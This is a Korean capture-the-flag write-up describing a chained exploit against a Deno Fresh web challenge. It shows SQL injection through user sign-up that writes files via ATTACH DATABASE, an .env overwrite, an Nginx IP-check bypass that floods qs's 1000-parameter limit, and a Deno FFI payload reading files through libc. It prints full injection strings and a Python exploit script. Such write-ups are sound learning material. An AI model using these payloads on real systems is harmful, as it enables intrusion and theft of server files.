SQL Injection, 환경 변수 조작, 파라미터 파싱 취약점, 그리고 Deno FFI 권한 우회까지 연결해야 하는 복합적인 문제였다. 솔직히 이 문제가 내가 푼 문제중에 가장 어려웠다. (사실 그래서 마지막에 넣었음)
|
||||
|
||||
## 6.2 Analysis
|
||||
|
||||
### 1) SQL Injection
|
||||
`server/src/db.ts`의 `createUser` 함수에서 사용자 입력을 직접 쿼리에 삽입하고 있다.
|
||||
|
||||
```typescript
|
||||
export function createUser(username: string, password: string, role: Role = Role.USER) {
|
||||
const result = db.exec(`INSERT INTO users (username, password, role) VALUES ('${username}', '${password}', ${role})`);
|
||||
return result;
|
||||
}
|
||||
```
|
||||
|
||||
이를 통해 `ATTACH DATABASE` 구문을 실행하여 서버 파일 시스템에 임의의 파일을 생성할 수 있다.
|
||||
|
||||
### 2) IP Validation Logic (Nginx & Middleware)
|
||||
서버는 `routes/api/admin/save.ts` 접근 시 IP가 `127.0.0.1`인지 검사한다.
|
||||
외부에서 접근 시 Nginx가 `purify.js`를 통해 강제로 실제 IP를 주입하여 우회를 차단하려 한다.
|
||||
|
||||
**nginx/js/purify.js:**
|
||||
```javascript
|
||||
function fix(r) {
|
||||
var out = [];
|
||||
var args = r.args;
|
||||
// ... 기존 ip 파라미터 제거 로직 ...
|
||||
|
||||
var real_ip = r.variables.remote_addr || "";
|
||||
out.push('ip=' + real_ip); // 실제 IP를 쿼리 스트링 마지막에 추가
|
||||
return out.join('&');
|
||||
}
|
||||
```
|
||||
|
||||
하지만 백엔드(`routes/_middleware.ts`)에서는 `npm:qs`를 사용하여 쿼리를 파싱하는데, 여기에 허점이 존재한다.
|
||||
|
||||
**routes/_middleware.ts:**
|
||||
```typescript
|
||||
import qs from "npm:qs";
|
||||
|
||||
async function parseQuery(req: Request) {
|
||||
// ...
|
||||
const parsed = qs.parse(rawQS); // parameterLimit: 1000 (default)
|
||||
return parsed;
|
||||
}
|
||||
|
||||
// ...
|
||||
if (ctx.state.query.ip) {
|
||||
ctx.state.ip = ctx.state.query.ip;
|
||||
} else {
|
||||
ctx.state.ip = "127.0.0.1"; // ip 파라미터가 파싱되지 않으면 로컬로 간주
|
||||
}
|
||||
```
|
||||
|
||||
`qs` 라이브러리는 기본적으로 **1000개의 파라미터만 파싱**하는 제한(`parameterLimit`)이 있다.
|
||||
따라서 공격자가 1000개 이상의 더미 파라미터를 보내면, Nginx가 맨 뒤에 붙인 `ip=REAL_IP`는 파싱 범위 밖으로 밀려나 무시된다.
|
||||
결과적으로 `ctx.state.query.ip`는 `undefined`가 되고, 서버는 이를 로컬 접속(`127.0.0.1`)으로 오인하게 된다.
|
||||
|
||||
### 3) NODE_ENV Validation
|
||||
`save.ts`는 `NODE_ENV`가 "development"일 때만 동작한다.
|
||||
기본값은 "production"이지만, 앞서 언급한 SQL Injection을 통해 `.env` 파일을 생성하고 `NODE_ENV=development` 내용을 주입하여 이를 우회할 수 있다.
|
||||
|
||||
### 4) Deno FFI
|
||||
`deno.json` 설정에서 `--allow-ffi` 옵션이 활성화되어 있다.
|
||||
이는 Deno의 샌드박스(파일 시스템 접근 제한 등)를 우회할 수 있는 치명적인 설정이다. `libc`와 같은 네이티브 라이브러리를 로드하여 `fopen`, `fgetc` 등의 함수를 직접 호출하면 `--allow-read` 제한과 상관없이 모든 파일을 읽을 수 있다.
|
||||
|
||||
## 6.3 Exploit Flow
|
||||
|
||||
1. **NODE_ENV Injection**: SQL Injection으로 `.env` 파일을 생성한다. SQLite 헤더가 포함되지만, 개행 문자를 넣어 `NODE_ENV=development`를 유효한 라인으로 만든다.
|
||||
2. **Server Restart**: `routes/` 디렉토리에 더미 파일을 생성하여 Deno의 Hot Reload를 트리거한다. 재시작 시 조작된 `.env`가 로드된다.
|
||||
3. **IP Bypass**: 요청 쿼리 스트링에 1000개의 더미 파라미터를 포함시켜, Nginx가 뒤에 붙이는 `ip=REAL_IP`가 파싱되지 않도록 한다.
|
||||
4. **RCE**: `save.ts`를 호출하여 FFI 코드가 담긴 TypeScript 파일을 생성하고 실행한다.
|
||||
|
||||
## 6.4 Implementation
|
||||
|
||||
**FFI Payload (TypeScript):**
|
||||
Deno의 권한을 우회하여 `/flag`를 읽는 코드이다.
|
||||
|
||||
```typescript
|
||||
import { Handlers } from "$fresh/server.ts";
|
||||
|
||||
export const handler: Handlers = {
|
||||
async GET(req) {
|
||||
try {
|
||||
const lib = Deno.dlopen("libc.so.6", {
|
||||
fopen: { parameters: ["buffer", "buffer"], result: "pointer" },
|
||||
fgetc: { parameters: ["pointer"], result: "i32" },
|
||||
fclose: { parameters: ["pointer"], result: "i32" },
|
||||
});
|
||||
|
||||
const path = new TextEncoder().encode("/flag\0");
|
||||
const mode = new TextEncoder().encode("r\0");
|
||||
const fp = lib.symbols.fopen(path, mode);
|
||||
|
||||
if (fp === null || fp.value === 0n) return new Response("Failed");
|
||||
|
||||
let content = "";
|
||||
while (true) {
|
||||
const c = lib.symbols.fgetc(fp);
|
||||
if (c === -1) break;
|
||||
content += String.fromCharCode(c);
|
||||
}
|
||||
lib.symbols.fclose(fp);
|
||||
|
||||
return new Response(content);
|
||||
} catch (e) {
|
||||
return new Response(e.toString());
|
||||
}
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
**Exploit Script (Python):**
|
||||
|
||||
```python
|
||||
import requests
|
||||
import time
|
||||
|
||||
URL = "http://asdf"
|
||||
|
||||
def sql_exec(query):
|
||||
# 회원가입 로직을 통한 SQL Injection 수행
|
||||
pass
|
||||
|
||||
# 1. .env 생성 (NODE_ENV=development)
|
||||
print("[*] Creating .env...")
|
||||
env_payload = "x', 'x', 0); ATTACH DATABASE '.env' AS env; CREATE TABLE env.config(val TEXT); INSERT INTO env.config VALUES ('\\nNODE_ENV=development\\n'); --"
|
||||
sql_exec(env_payload)
|
||||
|
||||
# 2. 서버 재시작 트리거
|
||||
print("[*] Triggering restart...")
|
||||
restart_payload = f"x', 'x', 0); ATTACH DATABASE 'routes/restart_{int(time.time())}.ts' AS r; CREATE TABLE r.d(v TEXT); --"
|
||||
sql_exec(restart_payload)
|
||||
|
||||
time.sleep(5) # 재시작 대기
|
||||
|
||||
# 3. QS Limit Bypass & Payload Upload
|
||||
print("[*] Uploading FFI payload...")
|
||||
dummy_params = "&".join([f"p{i}=1" for i in range(1000)])
|
||||
target_url = f"{URL}/api/admin/save?{dummy_params}"
|
||||
|
||||
ffi_code = open("payload.ts", "r").read()
|
||||
data = {
|
||||
"filepath": "api/exploit.ts",
|
||||
"content": ffi_code
|
||||
}
|
||||
|
||||
# Nginx가 ip=REAL_IP를 붙이지만 1000개 제한으로 무시됨 -> 127.0.0.1로 인식
|
||||
requests.post(target_url, data=data)
|
||||
|
||||
# 4. Flag 획득
|
||||
print("[*] Getting flag...")
|
||||
res = requests.get(f"{URL}/api/exploit")
|
||||
print(f"Flag: {res.text}")
|
||||
```
|
||||
|
||||
## 6.5 Flag
|
||||
`whitehat2025{9584eeed890b0b6c68ec1136d009d41504be65c970ee77cce7223ec2f49f3dc6}`
|
||||
|
||||
## 6.6 Discussion
|
||||
단계별로 뚫어야 할 벽이 많아서 매우 까다로웠다. 다들 sqli만 시도하고 막혔을 것이라 생각한다. 나도 잼민이의 도움을 받아 겨우 풀이할 수 있었다.
|
||||
특히 Deno 환경에서 FFI로 샌드박스를 탈출하는 기법이 인상적이었다.
|
||||
|
||||
---
|
||||
|
||||
끝
|
||||
Reference in New Issue
Block a user